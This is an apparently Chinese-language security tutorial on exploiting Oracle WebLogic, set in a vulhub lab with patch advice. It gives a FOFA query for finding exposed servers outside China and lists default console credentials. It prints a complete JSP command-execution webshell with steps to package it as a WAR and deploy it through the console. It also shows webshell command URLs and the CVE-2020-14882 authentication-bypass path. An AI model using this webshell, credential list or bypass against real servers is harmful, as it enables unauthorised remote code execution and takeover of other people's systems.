Weblogic漏洞-未授权任意文件上传漏洞

Weblogic简介

WebLogic Server 是美国甲骨文( Oracle )公司开发的一款适用于云环境和传统环境 的应用服务中间件,确切的说是一个基于 JavaEE 架构的中间件,它提供了一个现代轻 型开发平台,用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应 用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型 网络应用的开发、集成、部署和管理之中。

Weblogic特征

默认端口:7001
Web界面:Error 404–Not Found
控制后台:http://ip:7001/console

image-20230405195753113

image-20230405201938801

Weblogic历史漏洞

漏洞主要影响版本:

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.1
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3
  • Weblogic 14.1.1.0
漏洞类型 CVE编号
SSRF CVE-2014-4210
任意文件上传 CVE-2018-2894
XMLDecoder反序列化 CVE-2017-3506
CVE-2017-10271
CVE-2019-2725
CVE-2019-2729
Java反序列化 CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
CVE-2020-2890
CVE-2020-2555
CVE-2020-14645
CVE-2020-14756
CVE-2021-2109
弱口令 Weblogic
Oracle@123

Weblogic历史漏洞发现

获取资产

shodan、fofa、zoomeye等

1
fofa:app="BEA-WebLogic-Server" && country!="CN"

默认端口:7001

批量生成脚本

image-20230405201354252

image-20240304130937038

Weblogic漏洞环境搭建

https://github.com/vulhub/vulhub/tree/master/weblogic

1
2
docker pull vulhub/weblogic:10.3.6.0-2017 
docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

Weblogic历史漏洞利用

WeakPassword

Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令, 或者默认的账户名密码

Weblogic弱口令

1
2
3
访问路径:/console
账号:weblogic
密码:Oracle@123

Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic

1
2
3
4
5
6
7
8
9
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

cmd.jsp

1
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
命令打包war包
1
jar -cvf cmd.war cmd.jsp

image-20240304131544511

上传war包

登录后台,选择部署,进入如下页面,上传war包

image-20230405212533754

image-20230405212629868

点击部署

image-20230405213107316

安装

image-20230405213119069

上载文件

image-20240304131644478

一直下一步

image-20240304131700490

完成后,war包已经部署

getshell

访问如下 url 即可getshell:

1
2
3
注意:不支持蚁剑,蚁剑连接必须使用下面的jsp4ant.jsp或蚁剑插件生成的jsp webshell

http://target-ip:7001/cmd/cmd.jsp?cmd=ls

image-20240304131952064

然后蚁剑连接

CVE-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行

漏洞描述

Weblogic反序列化远程代码执行漏洞:

  • CNVD-C-2019-48814
  • CVE-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

影响版本

1
2
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

影响组件

1
2
bea_wls9_async_response.war
wsat.war

漏洞判断

  • 判断不安全组件是否开启

通过访问路径/_async/AsyncResponseService

wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响

漏洞利用

https://github.com/TopScrew/CVE-2019-2725

image-20240304142556022

image-20240304142618187

  • shell上传路径
1
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war
1
http://172.26.2.43:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=whoami

漏洞修复

  • 打上官方CVE-2019-2725补丁包:

https://www.oracle.com/security-alerts/alert-cve-2019-2725.html

  • 升级本地JDK版本

因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因
此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

  • 配置URL访问控制策略

部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。

  • 删除不安全文件

删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。

具体文件路径:

10.3.* 版本:

1
2
3
\Middleware\wlserver_10.3\server\lib\
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

12.1.3 版本:

1
2
3
\Middleware\Oracle_Home\oracle_common\modules\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
  • 10.3.6.0 补丁 Patch 29204678

https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=29204678

  • 12.1.3.0 补丁 Patch 29204657

https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=29204657

CVE-2020-14882

漏洞描述

Weblogic 管理控制台未授权远程命令执行漏洞

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响范围

1
2
3
4
5
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0

漏洞环境

docker-compose.yml

1
2
3
4
5
6
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"

漏洞复现

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

image-20240304143626035

漏洞修复

关闭后台/console/console.portal对外访问

参考文章
vulhub/weblogic/CVE-2020-14882
s1kr10s/CVE-2020-14882
jas502n/CVE-2020-14882